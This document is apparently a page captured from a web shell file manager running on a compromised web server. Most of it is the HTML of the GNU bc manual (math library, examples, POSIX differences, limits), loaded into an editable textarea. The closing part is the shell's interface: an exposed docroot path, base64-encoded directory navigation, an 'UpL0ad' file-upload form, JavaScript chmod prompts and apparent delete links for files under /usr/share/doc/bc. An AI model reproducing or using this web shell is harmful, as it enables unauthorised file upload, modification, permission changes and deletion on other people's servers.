Previous: &lt;a href=&quot;#Functions&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;Functions&lt;/a&gt;, Up: &lt;a href=&quot;#Functions&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;Functions&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h3 class=&quot;section&quot; id=&quot;Math-Library-Functions-1&quot;&gt;&lt;span&gt;5.1 Math Library Functions&lt;a class=&quot;copiable-link&quot; href=&quot;#Math-Library-Functions-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h3&gt;

&lt;p&gt;If &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; is invoked with the &lt;code class=&quot;code&quot;&gt;-l&lt;/code&gt; option, a math library is
preloaded and the default &lt;var class=&quot;var&quot;&gt;scale&lt;/var&gt; is set to 20.  The math functions will
calculate their results to the scale set at the time of their call.  The
math library defines the following functions:
&lt;/p&gt;
&lt;dl class=&quot;table&quot;&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;s (&lt;var class=&quot;var&quot;&gt;x&lt;/var&gt;)&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The sine of &lt;var class=&quot;var&quot;&gt;x&lt;/var&gt;, &lt;var class=&quot;var&quot;&gt;x&lt;/var&gt; is in radians.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;c (&lt;var class=&quot;var&quot;&gt;x&lt;/var&gt;)&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The cosine of &lt;var class=&quot;var&quot;&gt;x&lt;/var&gt;, &lt;var class=&quot;var&quot;&gt;x&lt;/var&gt; is in radians.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;a (&lt;var class=&quot;var&quot;&gt;x&lt;/var&gt;)&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The arctangent of &lt;var class=&quot;var&quot;&gt;x&lt;/var&gt;, arctangent returns radians.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;l (&lt;var class=&quot;var&quot;&gt;x&lt;/var&gt;)&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The natural logarithm of &lt;var class=&quot;var&quot;&gt;x&lt;/var&gt;.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;e (&lt;var class=&quot;var&quot;&gt;x&lt;/var&gt;)&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The exponential function of raising &lt;var class=&quot;var&quot;&gt;e&lt;/var&gt; to the value &lt;var class=&quot;var&quot;&gt;x&lt;/var&gt;.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;j (&lt;var class=&quot;var&quot;&gt;n&lt;/var&gt;, &lt;var class=&quot;var&quot;&gt;x&lt;/var&gt;)&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The Bessel function of integer order &lt;var class=&quot;var&quot;&gt;n&lt;/var&gt; of &lt;var class=&quot;var&quot;&gt;x&lt;/var&gt;.
&lt;/p&gt;&lt;/dd&gt;
&lt;/dl&gt;

&lt;hr&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;chapter-level-extent&quot; id=&quot;Examples&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Next: &lt;a href=&quot;#Readline-and-Libedit-Options&quot; accesskey=&quot;n&quot; rel=&quot;next&quot;&gt;Readline and Libedit Options&lt;/a&gt;, Previous: &lt;a href=&quot;#Functions&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;Functions&lt;/a&gt;, Up: &lt;a href=&quot;#Top&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;Top&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h2 class=&quot;chapter&quot; id=&quot;Examples-1&quot;&gt;&lt;span&gt;6 Examples&lt;a class=&quot;copiable-link&quot; href=&quot;#Examples-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;In /bin/sh,  the following will assign the value of &amp;quot;pi&amp;quot; to the shell
variable &lt;var class=&quot;var&quot;&gt;pi&lt;/var&gt;.
&lt;/p&gt;&lt;div class=&quot;example&quot;&gt;
&lt;pre class=&quot;example-preformatted&quot;&gt;

pi=$(echo &amp;quot;scale=10; 4*a(1)&amp;quot; | bc -l)

&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The following is the definition of the exponential function used in the
math library.  This function is written in POSIX &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt;.
&lt;/p&gt;
&lt;div class=&quot;example&quot;&gt;
&lt;pre class=&quot;example-preformatted&quot;&gt;

scale = 20

/* Uses the fact that e^x = (e^(x/2))^2
   When x is small enough, we use the series:
     e^x = 1 + x + x^2/2! + x^3/3! + ...
*/

define e(x) {
  auto  a, d, e, f, i, m, v, z

  /* Check the sign of x. */
  if (x&amp;lt;0) {
    m = 1
    x = -x
  } 

  /* Precondition x. */
  z = scale;
  scale = 4 + z + .44*x;
  while (x &amp;gt; 1) {
    f += 1;
    x /= 2;
  }

  /* Initialize the variables. */
  v = 1+x
  a = x
  d = 1

  for (i=2; 1; i++) {
    e = (a *= x) / (d *= i)
    if (e == 0) {
      if (f&amp;gt;0) while (f--)  v = v*v;
      scale = z
      if (m) return (1/v);
      return (v/1);
    }
    v += e
  }
}

&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The following is code that uses the extended features of &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; to
implement a simple program for calculating checkbook balances.  This
program is best kept in a file so that it can be used many times 
without having to retype it at every use.
&lt;/p&gt;
&lt;div class=&quot;example&quot;&gt;
&lt;pre class=&quot;example-preformatted&quot;&gt;

scale=2
print &amp;quot;\nCheck book program\n!&amp;quot;
print &amp;quot;  Remember, deposits are negative transactions.\n&amp;quot;
print &amp;quot;  Exit by a 0 transaction.\n\n&amp;quot;

print &amp;quot;Initial balance? &amp;quot;; bal = read()
bal /= 1
print &amp;quot;\n&amp;quot;
while (1) {
  &amp;quot;current balance = &amp;quot;; bal
  &amp;quot;transaction? &amp;quot;; trans = read()
  if (trans == 0) break;
  bal -= trans
  bal /= 1
}
quit

&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;The following is the definition of the recursive factorial function.
&lt;/p&gt;
&lt;div class=&quot;example&quot;&gt;
&lt;pre class=&quot;example-preformatted&quot;&gt;

define f (x) {
  if (x &amp;lt;= 1) return (1);
  return (f(x-1) * x);
}

&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;/div&gt;
&lt;div class=&quot;chapter-level-extent&quot; id=&quot;Readline-and-Libedit-Options&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Next: &lt;a href=&quot;#Comparison-with-Other-Implementations&quot; accesskey=&quot;n&quot; rel=&quot;next&quot;&gt;Comparison with Other Implementations&lt;/a&gt;, Previous: &lt;a href=&quot;#Examples&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;Examples&lt;/a&gt;, Up: &lt;a href=&quot;#Top&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;Top&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h2 class=&quot;chapter&quot; id=&quot;Readline-and-Libedit-Options-1&quot;&gt;&lt;span&gt;7 Readline and Libedit Options&lt;a class=&quot;copiable-link&quot; href=&quot;#Readline-and-Libedit-Options-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;GNU &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; can be compiled (via a configure option) to use the GNU
&lt;code class=&quot;command&quot;&gt;readline&lt;/code&gt; input editor library or the BSD &lt;code class=&quot;command&quot;&gt;libedit&lt;/code&gt;
library.  This allows the user to do
more editing of lines before sending them to &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt;.  It also
allows for a history of previous lines typed.  When this option is
selected, &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; has one more special variable.  This special
variable, &lt;var class=&quot;var&quot;&gt;history&lt;/var&gt; is the number of lines of history retained.  A
value of -1 means that an unlimited number of history lines are
retained.  This is the default value.  Setting the value of
&lt;var class=&quot;var&quot;&gt;history&lt;/var&gt; to a positive number restricts the number of history lines
to the number given.  The value of 0 disables the history feature.  For
more information, read the user manuals for the GNU &lt;code class=&quot;command&quot;&gt;readline&lt;/code&gt;,
&lt;code class=&quot;command&quot;&gt;history&lt;/code&gt; and BSD &lt;code class=&quot;command&quot;&gt;libedit&lt;/code&gt; libraries.  One can not
enable both &lt;code class=&quot;command&quot;&gt;readline&lt;/code&gt; and &lt;code class=&quot;command&quot;&gt;libedit&lt;/code&gt; at the same time.
&lt;/p&gt;
&lt;hr&gt;
&lt;/div&gt;
&lt;div class=&quot;chapter-level-extent&quot; id=&quot;Comparison-with-Other-Implementations&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Next: &lt;a href=&quot;#Limits&quot; accesskey=&quot;n&quot; rel=&quot;next&quot;&gt;Limits&lt;/a&gt;, Previous: &lt;a href=&quot;#Readline-and-Libedit-Options&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;Readline and Libedit Options&lt;/a&gt;, Up: &lt;a href=&quot;#Top&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;Top&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h2 class=&quot;chapter&quot; id=&quot;Comparison-with-Other-Implementations-1&quot;&gt;&lt;span&gt;8 Comparison with Other Implementations&lt;a class=&quot;copiable-link&quot; href=&quot;#Comparison-with-Other-Implementations-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;This version of &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; was implemented from the POSIX P1003.2/D11
draft and contains several differences and extensions relative to the
draft and traditional implementations.  It is not implemented in the
traditional way using &lt;code class=&quot;command&quot;&gt;dc&lt;/code&gt;.  This version is a single process
which parses and runs a byte code translation of the program.  There is
an &amp;quot;undocumented&amp;quot; option (-c) that causes the program to output the byte
code to the standard output instead of running it.  It was mainly used
for debugging the parser and preparing the math library.
&lt;/p&gt;
&lt;p&gt;A major source of differences is extensions, where a feature is extended
to add more functionality and additions, where new features are added.
The following is the list of differences and extensions.
&lt;/p&gt;
&lt;dl class=&quot;table&quot;&gt;
&lt;dt&gt;LANG environment&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;This version does not conform to the POSIX standard in the processing
of the LANG environment variable and all environment variables starting
with LC_.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;names&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;Traditional and POSIX &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt;
have single letter names for functions, variables and arrays.  They have
been extended to be multi-character names that start with a letter and
may contain letters, numbers and the underscore character.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;Strings&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;Strings are not allowed to contain NUL characters.  POSIX says all characters
must be included in strings.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;last&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;POSIX &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; does not have a \fBlast variable.  Some implementations
of &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; use the period (.) in a similar way.  
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;comparisons&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;POSIX &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; allows comparisons only in the &lt;code class=&quot;code&quot;&gt;if&lt;/code&gt; statement,
the &lt;code class=&quot;code&quot;&gt;while&lt;/code&gt; statement, and the second expression of the &lt;code class=&quot;code&quot;&gt;for&lt;/code&gt;
statement.  Also, only one relational operation is allowed in each of
those statements.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;if&lt;/code&gt; statement, &lt;code class=&quot;code&quot;&gt;else&lt;/code&gt; clause&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;POSIX &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; does not have an &lt;code class=&quot;code&quot;&gt;else&lt;/code&gt; clause.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;for&lt;/code&gt; statement&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;POSIX &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; requires all expressions to be present in the
&lt;code class=&quot;code&quot;&gt;for&lt;/code&gt; statement.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;&amp;amp;&amp;amp;,&lt;/code&gt; &lt;code class=&quot;code&quot;&gt;||&lt;/code&gt;, &lt;code class=&quot;code&quot;&gt;!&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;POSIX &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; does not have the logical operators.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;read&lt;/code&gt; function&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;POSIX &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; does not have a &lt;code class=&quot;code&quot;&gt;read&lt;/code&gt; function.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;print&lt;/code&gt; statement&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;POSIX &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; does not have a &lt;code class=&quot;code&quot;&gt;print&lt;/code&gt; statement.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;continue&lt;/code&gt; statement&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;POSIX &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; does not have a continue statement.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;array parameters&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;POSIX &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; does not (currently) support array parameters in full.
The POSIX grammar allows for arrays in function definitions, but does
not provide a method to specify an array as an actual parameter.  (This
is most likely an oversight in the grammar.)  Traditional implementations
of &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; have only call by value array parameters.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;function format&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;POSIX &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; requires the opening brace on the same line as the 
&lt;code class=&quot;code&quot;&gt;define&lt;/code&gt; key word and the &lt;code class=&quot;code&quot;&gt;auto&lt;/code&gt; statement on the next line.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;=+&lt;/code&gt;, &lt;code class=&quot;code&quot;&gt;=-&lt;/code&gt;, &lt;code class=&quot;code&quot;&gt;=*&lt;/code&gt;, &lt;code class=&quot;code&quot;&gt;=/&lt;/code&gt;, &lt;code class=&quot;code&quot;&gt;=%&lt;/code&gt;, &lt;code class=&quot;code&quot;&gt;=^&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;POSIX &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; does not require these &amp;quot;old style&amp;quot; assignment
operators to be defined.  This version may allow these &amp;quot;old style&amp;quot;
assignments.  Use the &lt;code class=&quot;code&quot;&gt;limits&lt;/code&gt; statement to see if the installed
version supports them.  If it does support the &amp;quot;old style&amp;quot; assignment
operators, the statement &amp;quot;a =- 1&amp;quot; will decrement &lt;code class=&quot;code&quot;&gt;a&lt;/code&gt; by 1 instead
of setting &lt;code class=&quot;code&quot;&gt;a&lt;/code&gt; to the value -1.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;spaces in numbers&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;Other implementations of &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; allow spaces in numbers.  For example,
&amp;quot;x=1 3&amp;quot; would assign the value 13 to the variable x.  The same statement
would cause a syntax error in this version of &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt;.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;errors and execution&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;This implementation varies from other implementations in terms of what
code will be executed when syntax and other errors are found in the
program.  If a syntax error is found in a function definition, error
recovery tries to find the beginning of a statement and continue to
parse the function.  Once a syntax error is found in the function, the
function will not be callable and becomes undefined.
Syntax errors in the interactive execution code will invalidate the
current execution block.  The execution block is terminated by an
end of line that appears after a complete sequence of statements.
For example, 
&lt;/p&gt;
&lt;div class=&quot;example&quot;&gt;
&lt;pre class=&quot;example-preformatted&quot;&gt;a = 1
b = 2
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;has two execution blocks and
&lt;/p&gt;
&lt;div class=&quot;example&quot;&gt;
&lt;pre class=&quot;example-preformatted&quot;&gt;{ a = 1
  b = 2 }
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;has one execution block.  Any runtime error will terminate the execution
of the current execution block.  A runtime warning will not terminate the
current execution block.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;Interrupts&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;During an interactive session, the SIGINT signal (usually generated by
the control-C character from the terminal) will cause execution of the
current execution block to be interrupted.  It will display a &amp;quot;runtime&amp;quot;
error indicating which function was interrupted.  After all runtime
structures have been cleaned up, a message will be printed to notify the
user that &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; is ready for more input.  All previously defined
functions remain defined and the value of all non-auto variables are the
value at the point of interruption.  All auto variables and function
parameters are removed during the clean up process.  During a
non-interactive session, the SIGINT signal will terminate the entire run
of &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt;.
&lt;/p&gt;&lt;/dd&gt;
&lt;/dl&gt;

&lt;hr&gt;
&lt;/div&gt;
&lt;div class=&quot;chapter-level-extent&quot; id=&quot;Limits&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Next: &lt;a href=&quot;#Environment-Variables&quot; accesskey=&quot;n&quot; rel=&quot;next&quot;&gt;Environment Variables&lt;/a&gt;, Previous: &lt;a href=&quot;#Comparison-with-Other-Implementations&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;Comparison with Other Implementations&lt;/a&gt;, Up: &lt;a href=&quot;#Top&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;Top&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h2 class=&quot;chapter&quot; id=&quot;Limits-1&quot;&gt;&lt;span&gt;9 Limits&lt;a class=&quot;copiable-link&quot; href=&quot;#Limits-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;The following are the limits currently in place for this &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt;
processor.  Some of them may have been changed by an installation.  Use
the &lt;code class=&quot;code&quot;&gt;limits&lt;/code&gt; statement to see the actual values.
&lt;/p&gt;
&lt;dl class=&quot;table&quot;&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;BC_BASE_MAX&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The maximum output base is currently set at 999.  The maximum input base
is 16.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;BC_DIM_MAX&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;This is currently an arbitrary limit of 65535 as distributed.  Your
installation may be different.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;BC_SCALE_MAX&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The number of digits after the decimal point is limited to INT_MAX digits.
Also, the number of digits before the decimal point is limited to INT_MAX
digits.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;BC_STRING_MAX&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The limit on the number of characters in a string is INT_MAX characters.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;exponent&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The value of the exponent in the raise operation (^) is limited to LONG_MAX.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;multiply&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The multiply routine may yield incorrect results if a number
has more than LONG_MAX / 90 total digits.  For 32 bit longs, this number is
23,860,929 digits.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;variable names&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The current limit on the number of unique names is 32767 for each of
simple variables, arrays and functions.
&lt;/p&gt;&lt;/dd&gt;
&lt;/dl&gt;

&lt;hr&gt;
&lt;/div&gt;
&lt;div class=&quot;chapter-level-extent&quot; id=&quot;Environment-Variables&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Previous: &lt;a href=&quot;#Limits&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;Limits&lt;/a&gt;, Up: &lt;a href=&quot;#Top&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;Top&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h2 class=&quot;chapter&quot; id=&quot;Environment-Variables-1&quot;&gt;&lt;span&gt;10 Environment Variables&lt;a class=&quot;copiable-link&quot; href=&quot;#Environment-Variables-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;The following environment variables are processed by &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt;:
&lt;/p&gt;
&lt;dl class=&quot;table&quot;&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;POSIXLY_CORRECT&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;This is the same as the -s option (see &lt;a class=&quot;pxref&quot; href=&quot;#Command-Line-Options&quot;&gt;Command Line Options&lt;/a&gt;).
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;BC_ENV_ARGS&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;This is another mechanism to get arguments to &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt;.  The format
is the same as the command line arguments.  These arguments are
processed first, so any files listed in the environment arguments are
processed before any command line argument files.  This allows the user
to set up &amp;quot;standard&amp;quot; options and files to be processed at every
invocation of &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt;.  The files in the environment variables
would typically contain function definitions for functions the user
wants defined every time &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; is run.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;BC_LINE_LENGTH&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;This should be an integer specifying the number of characters in an
output line for numbers. This includes the backslash and newline
characters for long numbers. As an extension, the value of zero disables the 
multi-line feature.  Any other value of this variable that is less than
3 sets the line length to 70.
&lt;/p&gt;&lt;/dd&gt;
&lt;/dl&gt;

&lt;/div&gt;



&lt;/body&gt;
&lt;/html&gt;
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/doc/bc<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYmM="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYmM=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2M="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYmM=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>77824</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYmM=&x=QVVUSE9SUw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYmM=&f=QVVUSE9SUw=="/>AUTHORS</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYmM=&f=QVVUSE9SUw==&c=`+btoa(c):0" value="0644"></td><td>241</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYmM=&x=TkVXUy5neg==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYmM=&f=TkVXUy5neg=="/>NEWS.gz</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYmM=&f=TkVXUy5neg==&c=`+btoa(c):0" value="0644"></td><td>1403</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYmM=&x=UkVBRE1F">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYmM=&f=UkVBRE1F"/>README</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYmM=&f=UkVBRE1F&c=`+btoa(c):0" value="0644"></td><td>3522</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYmM=&x=YmMuaHRtbA==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYmM=&f=YmMuaHRtbA=="/>bc.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYmM=&f=YmMuaHRtbA==&c=`+btoa(c):0" value="0644"></td><td>60488</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYmM=&x=Y2hhbmdlbG9nLkRlYmlhbi5neg==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYmM=&f=Y2hhbmdlbG9nLkRlYmlhbi5neg=="/>changelog.Debian.gz</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYmM=&f=Y2hhbmdlbG9nLkRlYmlhbi5neg==&c=`+btoa(c):0" value="0644"></td><td>785</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYmM=&x=Y29weXJpZ2h0">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYmM=&f=Y29weXJpZ2h0"/>copyright</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYmM=&f=Y29weXJpZ2h0&c=`+btoa(c):0" value="0644"></td><td>6248</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYmMvZXhhbXBsZXM="/>examples</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYmM=&f=ZXhhbXBsZXM=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr></table>